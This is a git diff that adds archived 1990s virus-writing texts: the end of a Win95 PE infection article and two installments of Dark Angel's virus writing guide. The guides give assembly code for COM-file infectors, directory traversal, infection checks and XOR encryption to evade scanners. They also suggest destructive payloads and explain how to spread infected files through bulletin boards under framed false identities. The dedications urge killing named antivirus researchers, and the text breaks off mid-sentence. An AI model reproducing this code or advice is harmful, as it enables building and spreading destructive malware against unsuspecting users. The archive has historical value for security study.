GetProcAddress + + Using a debugger like Turbo Debugger 32bit we can trace the call (one + step) and follow it to the kernel call as stated above. This will + allow us to get the function number and we can do away with the need + for an entry in the import table. + + + Infection of the PE Format + 컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Finding the beginning of the actual PE header is the same as for NE + files, by checking the DOS relocations for 40h or more, and seeking to + the dword pointed to by 3ch. If the header begins with a 'NE' it is a + Windows 3.11 executable and a 'PE' indicates a Win32/WinNT/Win95 exe. + + Within the PE header is 'the object table', which is the most important + feature of the format with regards to virus programming. To append code + to the host and redirect initial execution to the virus it is necessary to + add another entry to the 'object table'. Luckily, Microsoft is obsessed + with rounding everything off to a 32bit boundary, so there will be room + for an extra entry in the empty space most of the time, which means it + isn't necessary to shift any of the tables around. + + + A basic overview of the PE infection: + + Locate the offset into the file of the PE header + Read a sufficient amount of the PE header to calculate the full size + Read in the whole PE header and object table + Add a new object to the object table + Point the "Entry Point RVA" to the new object + Append virus to the executable at the calculated physical offset + Write the PE header back to the file + + + To find the object table: + The 'Header Size' variable (not to be confused with the 'NT headersize') + is the size of the DOS header, PE header and object table, combined. + To read in the object table, read in from the start of the file for + headersize bytes. + + The object table immediately follows the NT Header. The 'NTheadersize' + value, indicates how many bytes follow the 'flags' field. So to work + out the object table offset, get the NTheaderSize and add the offset + of the flags field (24). + + Adding an object: + Get the 'number of objects' and multiply it by 5*8 (the size of an object + table entry). This will produce the offset of the space within which + the new virus object table entry can be placed. + The data for the virus' object table entry needs to be calculated using + information in the previous (host) entry. + + RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment+1) + *OBJ Alignment + Virtual Size = ((size of virus+buffer any space)/OBJ Alignment+1) + *OBJ Alignment + Physical Size = (size of virus/File Alignment+1)*File Alignment + Physical Offset = prev Physical Offset + prev Physical Size + Object Flags = db 40h,0,0,c0h + Entrypoint RVA = RVA + + Increase the 'number of objects' field by one. + + Write the virus code to the 'physical offset' that was calculated, for + 'physical size' bytes. + + + Notes + 컴컴� + + Microsoft no longer includes the PE header information in their developers + CDROMs. It is thought that this might be to make the creation of + viruses for Win95 less likely. The information contained in the next + article was obtained from a Beta of the Win32 SDK CDROM. + + + Tools + 컴컴� + + There are many good books available that supply low level Windows 95 + information. "Unauthorized Windows 95", although not a particularly + useful book (it speaks more of DOS/Windows interaction), supplies + utilities on disk and on their WWW site that are far superior to the + ones that we wrote to research Win95 infection. diff --git a/textfiles.com/virus/ps-vir1.txt b/textfiles.com/virus/ps-vir1.txt new file mode 100644 index 00000000..ea670a94 --- /dev/null +++ b/textfiles.com/virus/ps-vir1.txt @@ -0,0 +1,449 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// +// // // // || //==== //==== //==// // ||/ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DISCLAIMER: The author hereby disclaims himself +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DEDICATION: This was written to make the lives + of scum such as Patty Hoffman, John McAffee, + and Ross Greenberg a living hell. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +OTHER STUFF: Thanks go to The Shade of Sorrow, + Demogorgon, and Orion Rouge on their comments + (which I occasionally listened to!). Thanks + also to Hellraiser, who gave me an example of + some virus source code (his own, of course). +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Dark Angel's Phunky Virus Writing Guide +---- ------- ------ ----- ------- ----- +Virii are wondrous creations written for the sole purpose of spreading and +destroying the systems of unsuspecting fools. This eliminates the systems +of simpletons who can't tell that there is a problem when a 100 byte file +suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not +deserve to exist, so it is our sacred duty to wipe their hard drives off +the face of the Earth. It is a simple matter of speeding along survival of +the fittest. + +Why did I create this guide? After writing several virii, I have noticed +that virus writers generally learn how to write virii either on their own +or by examining the disassembled code of other virii. There is an +incredible lack of information on the subject. Even books published by +morons such as Burger are, at best, sketchy on how to create a virus. This +guide will show you what it takes to write a virus and also will give you a +plethora of source code to include in your own virii. + +Virus writing is not as hard as you might first imagine. To write an +effective virus, however, you *must* know assembly language. Short, +compact code are hallmarks of assembly language and these are desirable +characteristics of virii. However, it is *not* necessary to write in pure +assembly. C may also be used, as it allows almost total control of the +system while generating relatively compact code (if you stay away from the +library functions). However, you still must access the interrupts, so +assembly knowledge is still required. However, it is still best to stick +with pure assembly, since most operations are more easily coded in +assembly. If you do not know assembly, I would recommend picking up a copy +of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672- +22659-6). It is an easy-to-follow book covering assembly in great detail. +Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201- +57064-5), as it is very helpful. + +The question of which compiler to use arises often. I suggest using +Borland Turbo Assembler and/or Borland C++. I do not have a copy of +Zortech C (it was too large to download), but I would suspect that it is +also a good choice. Stay away from Microsoft compilers, as they are not as +flexible nor as efficient as those of other vendors. + +A few more items round out the list of tools helpful in constructing virii. +The latest version of Norton Utilities is one of the most powerful programs +available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You +can find it on any decent board. It can be used during every step of the +process, from the writing to the testing. A good debugger helps. Memory +management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are +invaluable, especially when coding TSR virii. Sourcer, the commenting +disassembler, is useful when you wish to examine the code of other virii +(this is a good place to get ideas/techniques for your virus). + +Now that you have your tools, you are ready to create a work of art +designed to smash the systems of cretins. There are three types of virii: + + 1) Tiny virii (under 500 bytes) which are designed to be undetectable + due to their small size. TINY is one such virus. They are + generally very simple because their code length is so limited. + 2) Large virii (over 1,500 bytes) which are designed to be + undetectable because they cover their tracks very well (all that + code DOES have a use!). The best example of this is the Whale + virus, which is perhaps the best 'Stealth' virus in existence. + 3) Other virii which are not designed to be hidden at all (the writers + don't give a shit). The common virus is like this. All + overwriting virii are in this category. + +You must decide which kind of virus you wish to write. I will mostly be +discussing the second type (Stealth virii). However, many of the +techniques discribed may be easily applied to the first type (tiny virii). +However, tiny virii generally do not have many of the "features" of larger +virii, such as directory traversal. The third type is more of a +replicating trojan-type, and will warrant a brief (very, very brief!) +discussion later. + +A virus may be divided into three parts: the replicator, the concealer, and +the bomb. The replicator part controls the spread of the virus to other +files, the concealer keeps the virus from being detected, and the bomb only +executes when the activation conditions of the virus (more on that later) +are satisfied. + +-=-=-=-=-=-=-=- +THE REPLICATOR +-=-=-=-=-=-=-=- +The job of the replicator is to spread the virus throughout the system of +the clod who has caught the virus. How does it do this without destroying +the file it infects? The easiest type of replicator infects COM files. It +first saves the first few bytes of the infected file. It then copies a +small portion of its code to the beginning of the file, and the rest to the +end. + + +----------------+ +------------+ + | P1 | P2 | | V1 | V2 | + +----------------+ +------------+ + The uninfected file The virus code + +In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1 +and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be +the same as the size of V1, but the size of P2 doesn't necessarily have to +be the same size as V2. The virus first saves P1 and copies it to the +either 1) the end of the file or 2) inside the code of the virus. Let's +assume it copies the code to the end of the file. The file now looks like: + + +---------------------+ + | P1 | P2 | P1 | + +---------------------+ + +Then, the virus copies the first part of itself to the beginning of the +file. + + +---------------------+ + | V1 | P2 | P1 | + +---------------------+ + +Finally, the virus copies the second part of itself to the end of the file. +The final, infected file looks like this: + + +-----------------------------+ + | V1 | P2 | P1 | V2 | + +-----------------------------+ + +The question is: What the fuck do V1 and V2 do? V1 transfers control of +the program to V2. The code to do this is simple. + + JMP FAR PTR Duh ; Takes four bytes +Duh DW V2_Start ; Takes two bytes + +Duh is a far pointer (Segment:Offset) pointing to the first instruction of +V2. Note that the value of Duh must be changed to reflect the length of +the file that is infected. For example, if the original size of the +program is 79 bytes, Duh must be changed so that the instruction at +CS:[155h] is executed. The value of Duh is obtained by adding the length +of V1, the original size of the infected file, and 256 (to account for the +PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal +(155 hex). + +An alternate, albeit more difficult to understand, method follows: + + DB 1101001b ; Code for JMP (2 byte-displacement) +Duh DW V2_Start - OFFSET Duh ; 2 byte displacement + +This inserts the jump offset directly into the code following the jump +instruction. You could also replace the second line with + + DW V2_Start - $ + +which accomplishes the same task. + +V2 contains the rest of the code, i.e. the stuff that does everything else. +The last part of V2 copies P1 over V1 (in memory, not on disk) and then +transfers control to the beginning of the file (in memory). The original +program will then run happily as if nothing happened. The code to do this +is also very simple. + + MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts + SUB SI, V1_LENGTH ; Go back to where P1 is stored + MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory + MOV CX, V1_LENGTH ; Move CX bytes + REP MOVSB ; DS:[SI] -> ES:[DI] + + MOV DI, 0100h + JMP DI + +This code assumes that P1 is located just before V2, as in: + +P1_Stored_Here: + . + . + . +V2_Start: + +It also assumes ES equals CS. If these assumptions are false, change the +code accordingly. Here is an example: + + PUSH CS ; Store CS + POP ES ; and move it to ES + ; Note MOV ES, CS is not a valid instruction + MOV SI, P1_START ; Move from whereever P1 is stored + MOV DI, 0100h ; to CS:[100h] + MOV CX, V1_LENGTH + REP MOVSB + + MOV DI, 0100h + JMP DI + +This code first moves CS into ES and then sets the source pointer of MOVSB +to where P1 is located. Remember that this is all taking place in memory, +so you need the OFFSET of P1, not just the physical location in the file. +The offset of P1 is 100h higher than the physical file location, as COM +files are loaded starting from CS:[100h]. + +So here's a summary of the parts of the virus and location labels: + +V1_Start: + JMP FAR PTR Duh +Duh DW V2_Start +V1_End: + +P2_Start: +P2_End: + +P1_Start: + ; First part of the program stored here for future use +P1_End: + +V2_Start: + ; Real Stuff +V2_End: + +V1_Length EQU V1_End - V1_Start + +Alternatively, you could store P1 in V2 as follows: + +V2_Start: + +P1_Start: +P1_End: + +V2_End: + +That's all there is to infecting a COM file without destroying it! Simple, +no? EXE files, however, are a little tougher to infect without rendering +them inexecutable - I will cover this topic in a later file. + +Now let us turn our attention back to the replicator portion of the virus. +The steps are outlined below: + + 1) Find a file to infect + 2) Check if it is already infected + 3) If so, go back to 1 + 4) Infect it + 5) If infected enough, quit + 6) Otherwise, go back to 1 + +Finding a file to infect is a simple matter of writing a directory +traversal procedure and issuing FINDFIRST and FINDNEXT calls to find +possible files to infect. Once you find the file, open it and read the +first few bytes. If they are the same as the first few bytes of V1, then +the file is already infected. If the first bytes of V1 are not unique to +your virus, change it so that they are. It is *extremely* important that +your virus doesn't reinfect the same files, since that was how Jerusalem +was first detected. If the file wasn't already infected, then infect it! +Infection should take the following steps: + + 1) Change the file attributes to nothing. + 2) Save the file date/time stamps. + 3) Close the file. + 4) Open it again in read/write mode. + 5) Save P1 and append it to the end of the file. + 6) Copy V1 to the beginning, but change the offset which it JMPs to so + it transfers control correctly. See the previous part on infection. + 7) Append V2 to the end of the file. + 8) Restore file attributes/date/time. + +You should keep a counter of the number of files infected during this run. +If the number exceeds, say three, then stop. It is better to infect slowly +then to give yourself away by infecting the entire drive at once. + +You must be sure to cover your tracks when you infect a file. Save the +file's original date/time/attributes and restore them when you are +finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code, +probably less, to do these few simple things which can do wonders for the +concealment of your program. + +I will include code for the directory traversal function, as well as other +parts of the replicator in the next installment of my phunky guide. + +-=-=-=-=- +CONCEALER +-=-=-=-=- +This is the part which conceals the program from notice by the everyday +user and virus scanner. The simplest form of concealment is the encryptor. +The code for a simple XOR encryption system follows: + +encrypt_val db ? + +decrypt: +encrypt: + mov ah, encrypt_val + + mov cx, part_to_encrypt_end - part_to_encrypt_start + mov si, part_to_encrypt_start + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb ; AL -> ES:[DI] + loop xor_loop + ret + +Note the encryption and decryption procedures are the same. This is due to +the weird nature of XOR. You can CALL these procedures from anywhere in +the program, but make sure you do not call it from a place within the area +to be encrypted, as the program will crash. When writing the virus, set +the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end +sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning +of V2 to unencrypt the file so your program can run. When infecting a +file, first change the encrypt_val, then CALL encrypt, then write V2 to the +end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE +AREA TO BE ENCRYPTED!!! + +This is how V2 would look with the concealer: + +V2_Start: + +Concealer_Start: + . + . + . +Concealer_End: + +Replicator_Start: + . + . + . +Replicator_End: + +Part_To_Encrypt_Start: + . + . + . +Part_To_Encrypt_End: +V2_End: + +Alternatively, you could move parts of the unencrypted stuff between +Part_To_Encrypt_End and V2_End. + +The value of encryption is readily apparent. Encryption makes it harder +for virus scanners to locate your virus. It also hides some text strings +located in your program. It is the easiest and shortest way to hide your +virus. + +Encryption is only one form of concealment. At least one other virus hooks +into the DOS interrupts and alters the output of DIR so the file sizes +appear normal. Another concealment scheme (for TSR virii) alters DOS so +memory utilities do not detect the virus. Loading the virus in certain +parts of memory allow it to survive warm reboots. There are many stealth +techniques, limited only by the virus writer's imagination. + +-=-=-=-=- +THE BOMB +-=-=-=-=- +So now all the boring stuff is over. The nastiness is contained here. The +bomb part of the virus does all the deletion/slowdown/etc which make virii +so annoying. Set some activation conditions of the virus. This can be +anything, ranging from when it's your birthday to when the virus has +infected 100 files. When these conditions are met, then your virus does +the good stuff. Some suggestions of possible bombs: + + 1) System slowdown - easily handled by trapping an interrupt and + causing a delay when it activates. + 2) File deletion - Delete all ZIP files on the drive. + 3) Message display - Display a nice message saying something to the + effect of "You are fucked." + 4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard + drive - This is very nasty, as most dimwits cannot fix this. + +This is, of course, the fun part of writing a virus, so be original! + +-=-=-=-=-=-=-=- +OFFSET PROBLEMS +-=-=-=-=-=-=-=- +There is one caveat regarding calculation of offsets. After you infect a +file, the locations of variables change. You MUST account for this. All +relative offsets can stay the same, but you must add the file size to the +absolute offsets or your program will not work. This is the most tricky +part of writing virii and taking these into account can often greatly +increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE +SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS! +If you don't, you'll get fucked over and your virus WILL NOT WORK! One +entire part of the guide will be devoted to this subject. + +-=-=-=- +TESTING +-=-=-=- +Testing virii is a dangerous yet essential part of the virus creation +process. This is to make certain that people *will* be hit by the virus +and, hopefully, wiped out. Test thoroughly and make sure it activates +under the conditions. It would be great if everyone had a second computer +to test their virii out, but, of course, this is not the case. So it is +ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and +FAT. Norton is handy in this doing this. Do NOT disregard this advice +(even though I know that you will anyway) because you WILL be hit by your +own virii. When I wrote my first virus, my system was taken down for two +days because I didn't have good backups. Luckily, the virus was not overly +destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL +PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the +damage is not permanent. RamDrives are also useful for testing trojans, +but that is the topic of another file... + +-=-=-=-=-=-=- +DISTRIBUTION +-=-=-=-=-=-=- +This is another fun part of virus writing. It involves sending your +brilliantly-written program through the phone lines to your local, +unsuspecting bulletin boards. What you should do is infect a file that +actually does something (leech a useful utility from another board), infect +it, and upload it to a place where it will be downloaded by users all over. +The best thing is that it won't be detected by puny scanner-wanna-bes by +McAffee, since it is new! Oh yeah, make sure you are using a false account +(duh). Better yet, make a false account with the name/phone number of +someone you don't like and upload the infected file under the his name. +You can call back from time to time and use a door such as ZDoor to check +the spread of the virus. The more who download, the more who share in the +experience of your virus! + +I promised a brief section on overwriting virii, so here it is... +-=-=-=-=-=-=-=-=- +OVERWRITING VIRII +-=-=-=-=-=-=-=-=- +All these virii do is spread throughout the system. They render the +infected files inexecutable, so they are easily detected. It is simple to +write one: + + +-------------+ +-----+ +-------------+ + | Program | + |Virus| = |Virus|am | + +-------------+ +-----+ +-------------+ + +These virii are simple little hacks, but pretty worthless because of their +easy detectability. Enuff said! + +-=-=-=-=-=-=-=-=-=-=-=-=- +WELL, THAT JUST ABOUT... +-=-=-=-=-=-=-=-=-=-=-=-=- +wraps it up for this installment of Dark Angel's Phunky virus writing +guide. There will (hopefully) be future issues where I discuss more about +virii and include much more source code (mo' source!). Till then, happy +coding! + + + + \ No newline at end of file diff --git a/textfiles.com/virus/ps-vir2.txt b/textfiles.com/virus/ps-vir2.txt new file mode 100644 index 00000000..7c7c98b1 --- /dev/null +++ b/textfiles.com/virus/ps-vir2.txt @@ -0,0 +1,594 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + DISCLAIMER: Pretend you see a disclaimer here. + 99.44% of the code guaranteed to work. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + DEDICATION: Please try your best to kill those + who made this possible, especially that dumb + bitch who doesn't know her own name (Patty), + and her lover Ross M. Greenberg. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + GREETS -N- STUFF: Greets go to all the members + of PHALCON/SKISM. I wish to give buckets o' + thanks to Hellraiser, Garbageheap, and Demo- + gorgon. No thanks this time to Orion Rouge, + the godly master of idiocy. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Dark Angel's Chunky Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴 컴컴� 컴컴컴� 컴컴� + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + INSTALLMENT II: THE REPLICATOR + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + In the last installment of my Virus Writing Guide, I explained the various + parts of a virus and went into a brief discussion about each. In this + issue, I shall devote all my attention towards the replicator portion of + the virus. I promised code and code I shall present. + + However, I shall digress for a moment because it has come to my attention + that some mutant copies of the first installment were inadvertently + released. These copies did not contain a vital section concerning the + calculation of offsets. + + You never know where your variables and code are going to wind up in + memory. If you think a bit, this should be pretty obvious. Since you are + attaching the virus to the end of a program, the location in memory is + going to be changed, i.e. it will be larger by the size of the infected + program. So, to compensate, we must take the change in offset from the + original virus, or the delta offset, and add that to all references to + variables. + + Instructions that use displacement, i.e. relative offsets, need not be + changed. These instructions are the JA, JB, JZ class of instructions, JMP + SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of, + say, JMP FAR PTR. + + Suppose in the following examples, si is somehow loaded with the delta + offset. + + Replace + mov ax, counter + With + mov ax, word ptr [si+offset counter] + + Replace + mov dx, offset message + With + lea dx, [si+offset message] + + You may be asking, "how the farg am I supposed to find the delta offset!?" + It is simple enough: + + call setup + setup: + pop si + sub si, offset setup + + An explanation of the above fragment is in order. CALL setup pushes the + location of the next instruction, i.e. offset setup, onto the stack. Next, + this location is POPed into si. Finally, the ORIGINAL offset of setup + (calculated at compile-time) is subtracted from si, giving you the delta + offset. In the original virus, the delta offset will be 0, i.e. the new + location of setup equals the old location of setup. + + It is often preferable to use bp as your delta offset, since si is used in + string instructions. Use whichever you like. I'll randomly switch between + the two as suits my mood. + + Now back to the other stuff... + + A biological virus is a parasitic "organism" which uses its host to spread + itself. It must keep the host alive to keep itself "alive." Only when it + has spread everywhere will the host die a painful, horrible death. The + modern electronic virus is no different. It attaches itself to a host + system and reproduces until the entire system is fucked. It then proceeds + and neatly wrecks the system of the dimwit who caught the virus. + + Replication is what distinguishes a virus from a simple trojan. Anybody + can write a trojan, but a virus is much more elegant. It acts almost + invisibly, and catches the victim off-guard when it finally surfaces. The + first question is, of course, how does a virus spread? Both COM and EXE + infections (along with sample infection routines) shall be presented. + + There are two major approaches to virii: runtime and TSR. Runtime virii + infect, yup, you guessed it, when the infected program is run, while TSR + virii go resident when the infected programs are run and hook the + interrupts and infect when a file is run, open, closed, and/or upon + termination (i.e. INT 20h, INT 21h/41h). There are advantages and + disadvantages to each. Runtime virii are harder to detect as they don't + show up on memory maps, but, on the other hand, the delay while it searches + for and infects a file may give it away. TSR virii, if not properly done, + can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in + general, smaller since they don't need a function to search for files to + infect. They are also faster than runtime virii, also because they don't + have to search for files to infect. I shall cover runtime virii here, and + TSR virii in a later installment. + + Here is a summary of the infection procedure: + 1) Find a file to infect. + 2) Check if it meets the infection criteria. + 3) See if it is already infected and if so, go back to 1. + 4) Otherwise, infect the file. + 5) Cover your tracks. + + I shall go through each of these steps and present sample code for each. + Note that although a complete virus can be built from the information + below, you cannot merely rip the code out and stick it together, as the + fragments are from various different virii that I have written. You must + be somewhat familiar with assembly. I present code fragments; it is up to + you to either use them as examples or modify them for your own virii. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 1 - FIND A FILE TO INFECT + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Before you can infect a file, you have to find it first! This can be a + bottleneck in the performance of the virus, so it should be done as + efficiently as possible. For runtime virii, there are a few possibilities. + You could infect files in only the current directory, or you could write a + directory traversal function to infect files in ALL directories (only a few + files per run, of course), or you could infect files in only a few select + directories. Why would you choose to only infect files in the current + directory? It would appear to limit the efficacy of the infections. + However, this is done in some virii either to speed up the virus or to + shorten the code size. + + Here is a directory traversal function. It uses recursion, so it is rather + slow, but it does the job. This was excerpted with some modifications from + The Funky Bob Ross Virus [Beta]. + + traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + + call infect_directory ; Go to search & destroy routines + + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + lea dx,[si+offset dir_mask] ; *.* + int 21h + jmp short isdirok + gonow: + cmp byte ptr [bp-14], '.' ; Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ; else load dirname + mov ah,3Bh ; and changedir there + int 21h + jc short donext ; Do next if invalid + inc word ptr [si+offset nest] ; nest++ + call near ptr traverse_fcn ; recurse directory + donext: + lea dx,word ptr [bp-44] ; Load space allocated for DTA + mov ah,1Ah ; and set DTA to this new area + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h + isdirok: + jnc gonow ; If OK, jmp elsewhere + cmp word ptr [si+offset nest], 0 ; If root directory + ; (nest == 0) + jle short cleanup ; then Quit + dec word ptr [si+offset nest] ; Else decrement nest + lea dx, [si+offset back_dir]; '..' + mov ah,3Bh ; Change directory + int 21h ; to previous one + cleanup: + mov sp,bp + pop bp + ret + traverse_fcn endp + + ; Variables + nest dw 0 + back_dir db '..',0 + dir_mask db '*.*',0 + + The code is self-explanatory. Make sure you have a function called + infect_directory which scans the directory for possible files to infect and + makes sure it doesn't infect already-infected files. This function, in + turn, calls infect_file which infects the file. + + Note, as I said before, this is slow. A quicker method, albeit not as + global, is the "dot dot" method. Hellraiser showed me this neat little + trick. Basically, you keep searching each directory and, if you haven't + infected enough, go to the previous directory (dot dot) and try again, and + so on. The code is simple. + + dir_loopy: + call infect_directory + lea dx, [bp+dotdot] + mov ah, 3bh ; CHDIR + int 21h + jnc dir_loopy ; Carry set if in root + + ; Variables + dotdot db '..',0 + + Now you must find a file to infect. This is done (in the fragments above) + by a function called infect_directory. This function calls FINDFIRST and + FINDNEXT a couple of times to find files to infect. You should first set + up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that + will affect the command-line parameters of the infected program when + control is returned to it. This is easily done with the following: + + mov ah, 1Ah ; Set DTA + lea dx, [bp+offset DTA] ; to variable called DTA (wow!) + int 21h + + Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST + and FINDNEXT calls: + + mov ah, 4Eh ; Find first file + mov cx, 0007h ; Any file attribute + lea dx, [bp+offset file_mask]; DS:[DX] --> filemask + int 21h + jc none_found + found_another: + call check_infection + mov ah, 4Fh ; Find next file + int 21h + jnc found_another + none_found: + + Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, + you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 2 - CHECK VERSUS INFECTION CRITERIA + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Your virus should be judicious in its infection. For example, you might + not want to infect COMMAND.COM, since some programs (i.e. the puny + FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to + infect the first valid file in the directory. Ambulance Car is an example + of such a virus. Regardless, if there is some infection criteria, you + should check for it now. Here's example code checking if the last two + letters are 'ND', a simple check for COMMAND.COM: + + cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order + jz fail_check + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + STEP 3 - CHECK FOR PREVIOUS INFECTION + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + Every virus has certain characteristics with which you can identify whether + a file is infected already. For example, a certain piece of code may + always occur in a predictable place. Or perhaps the JMP instruction is + always coded in the same manner. Regardless, you should make sure your + virus has a marker so that multiple infections of the same file do not + occur. Here's an example of one such check (for a COM file infector): + + mov ah,3Fh ; Read first three + mov cx, 3 ; bytes of the file + lea dx, [bp+offset buffer] ; to the buffer + int 21h + + mov ax, 4202h ; SEEK from EOF + xor cx, cx ; DX:CX = offset + xor dx, dx ; Returns filesize + int 21h ; in DX:AX + + sub ax, virus_size + 3 + cmp word ptr [bp+offset buffer+1], ax + jnz infect_it + + bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + + In this example, BX is assumed to hold a file handle to the program to be + checked for infection and virus_size equals the size of the virus. Buffer + is assumed to be a three-byte area of empty space. This code fragment + reads the first three bytes into buffer and then compares the JMP location + (located in the word beginning at buffer+1) to the filesize If the JMP + points to virus_size bytes before the EOF, then the file is already + infected with this virus. Another method would be to search at a certain + location in the file for a marker byte or word. For example: + + mov ah, 3Fh ; Read the first four + mov cx, 4 ; bytes of the file into + lea dx, [bp+offset buffer] ; the buffer. + int 21h + + cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth + jz bomb_out ; byte for the marker + infect_it: + + 컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 4 - INFECT THE FILE + 컴컴컴컴컴컴컴컴컴컴컴컴 + This is the "guts" of the virus, the heart of the replicator. Once you + have located a potential file, you must save the attributes, time, date, + and size for later use. The following is a breakdown of the DTA: + + Offset Size What it is + 0h 21 BYTES Reserved, varies as per DOS version + 15h BYTE File attribute + 16h WORD File time + 18h WORD File date + 1Ah DWORD File size + 1Eh 13 BYTES ASCIIZ filename + extension + + As you can see, the DTA holds all the vital information about the file that + you need. The following code fragment is a sample of how to save the info: + + lea si, [bp+offset DTA+15h] ; Start from attributes + mov cx, 9 ; Finish with size + lea di, [bp+offset f_attr] ; Move into your locations + rep movsb + ; Variables needed + f_attr db ? + f_time dw ? + f_date dw ? + f_size dd ? + + You can now change the file attributes to nothing through INT 21h/Function + 43h/Subfunction 01h. This is to allow infection of system, hidden, and + read only files. Only primitive (or minimal) virii cannot handle such + files. + + lea dx, [bp+offset DTA+1eh] ; DX points to filename in + mov ax, 4301h ; DTA + xor cx, cx ; Clear file attributes + int 21h ; Issue the call + + Once the attributes have been annihilated, you may open the file with + callous impunity. Use a handle open in read/write mode. + + lea dx, [bp+offset DTA+1eh] ; Use filename in DTA + mov ax, 3d02h ; Open read/write mode + int 21h ; duh. + xchg ax, bx ; Handle is more useful in + ; BX + + Now we come to the part you've all been waiting for: the infection routine. + I am pleased to present code which will handle the infection of COM files. + Yawn, you say, I can already do that with the information presented in the + previous installment. Ah, but there is more, much more. A sample EXE + infector shall also be presented shortly. + + The theory behind COM file infection was covered in the last installment, + so I shall not delve into the details again. Here is a sample infector: + + ; Sample COM infector. Assumes BX holds the file handle + ; Assume COM file passes infection criteria and not already infected + mov ah, 3fh + lea dx, [bp+buffer1] + mov cx, 3 + int 21h + + mov ax, 4200h ; Move file pointer to + xor cx, cx ; the beginning of the + xor dx, dx ; file + int 21h + + mov byte ptr [bp+buffer2], 0e9h ; JMP + mov ax, word ptr [bp+f_size] + sub ax, part1_size ; Usually 3 + mov word ptr [bp+buffer2+1], ax ; offset of JMP + + ; Encode JMP instruction to replace beginning of the file + mov byte ptr [bp+buffer2], 0e9h ; JMP + mov ax, word ptr [bp+f_size] + sub ax, part1_size ; Usually 3 + mov word ptr [bp+buffer2+1], ax ; offset of JMP + + ; Write the JMP instruction to the beginning of the file + mov ah, 40h ; Write CX bytes to + mov cx, 3 ; handle in BX from + lea dx, [bp+buffer2] ; buffer -> DS:[DX] + int 21h + + mov ax, 4202h ; Move file pointer to + xor cx, cx ; end of file + xor dx, dx + int 21h + + mov ah, 40h ; Write CX bytes + mov cx, endofvirus - startofpart2 ; Effective size of virus + lea dx, [bp+startofpart2] ; Begin write at start + int 21h + + ; Variables + buffer1 db 3 dup (?) ; Saved bytes from the + ; infected file to restore + ; later + buffer2 db 3 dup (?) ; Temp buffer + + After some examination, this code will prove to be easy to understand. It + starts by reading the first three bytes into a buffer. Note that you could + have done this in an earlier step, such as when you are checking for a + previous infection. If you have already done this, you obviously don't + need to do it again. This buffer must be stored in the virus so it can be + restored later when the code is executed. + + EXE infections are also simple, although a bit harder to understand. + First, the thoery. Here is the format of the 